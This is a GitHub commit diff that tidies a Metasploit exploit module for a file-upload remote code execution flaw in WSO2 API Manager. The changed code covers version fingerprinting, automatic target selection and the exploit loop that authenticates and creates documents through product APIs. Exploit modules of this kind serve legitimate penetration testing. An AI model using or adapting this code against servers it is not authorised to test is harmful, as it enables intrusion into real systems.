Skip to content

Commit 0f969f1

Browse files
committed
Clean-up
1 parent 09d84ea commit 0f969f1

File tree

1 file changed

+11
-18
lines changed

1 file changed

+11
-18
lines changed

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

Lines changed: 11 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -89,27 +89,24 @@ def check
8989

9090
authenticate
9191
res = send_request_cgi(
92-
'uri' => normalize_uri(target_uri.path, '/services', '/Version'),
92+
'uri' => normalize_uri(target_uri.path, 'services', 'Version'),
9393
'method' => 'GET',
9494
'headers' => {
9595
'Authorization' => "Bearer #{bearer}"
9696
}
9797
)
9898

99-
return Exploit::CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/
99+
return CheckCode::Unknown unless res&.code == 200 && res&.headers&.[]('Server') =~ /WSO2/
100100

101101
xml = res.get_xml_document
102102
xml.at_xpath('//return').text.match(/WSO2 API Manager-((?:\d\.){2}(?:\d))$/)
103103
version = Rex::Version.new ::Regexp.last_match(1)
104104

105-
return CheckCode::Safe('Unable to determine version') unless version
105+
return CheckCode::Unknown('Unable to determine version') unless version
106106

107-
return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless
108-
version <= Rex::Version.new('4.2.0') ||
109-
version <= Rex::Version.new('4.1.0') ||
110-
version <= Rex::Version.new('4.0.0') ||
111-
version <= Rex::Version.new('3.2.0') ||
112-
version <= Rex::Version.new('3.1.0')
107+
return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable") unless version.between?(
108+
Rex::Version.new('3.1.0'), Rex::Version.new('4.2.0')
109+
)
113110

114111
if target.name == 'Automatic'
115112
# Find the target based on the detected version
@@ -121,10 +118,7 @@ def check
121118
end
122119
end
123120

124-
unless selected_target_index
125-
vprint_warning("No matching target found for version #{version}")
126-
return CheckCode::Safe("Detected WSO2 API Manager #{version} which is not vulnerable")
127-
end
121+
return CheckCode::Unknown('Unable to automatically select a target. You might need to set the target manually') unless selected_target_index
128122

129123
# Set the target
130124
datastore['TARGET'] = selected_target_index
@@ -214,7 +208,7 @@ def authenticate
214208
end
215209
end
216210

217-
def list_api_available
211+
def list_product_api
218212
vprint_status('Listing products APIs...')
219213

220214
res = send_request_cgi(
@@ -298,8 +292,8 @@ def create_product_api
298292
api_id = create_api['id']
299293

300294
product_api_data = {
301-
'name' => 'test3',
302-
'context' => 'test3',
295+
'name' => Faker::App.name,
296+
'context' => Faker::Internet.slug,
303297
'policies' => ['Unlimited'],
304298
'apis' => [
305299
{
@@ -395,7 +389,7 @@ def execute_payload
395389
def exploit
396390
doc_name = Rex::Text.rand_text_alpha(4..7)
397391
authenticate unless bearer
398-
api_avaliable = list_api_available
392+
api_avaliable = list_product_api
399393
api_avaliable.each do |product_api|
400394
doc_id = create_document(product_api['id'], doc_name)
401395
next unless doc_id
@@ -406,7 +400,6 @@ def exploit
406400
break
407401
end
408402
end
409-
# execute_payload
410403
end
411404

412405
def jsp_filename

0 commit comments

Comments
 (0)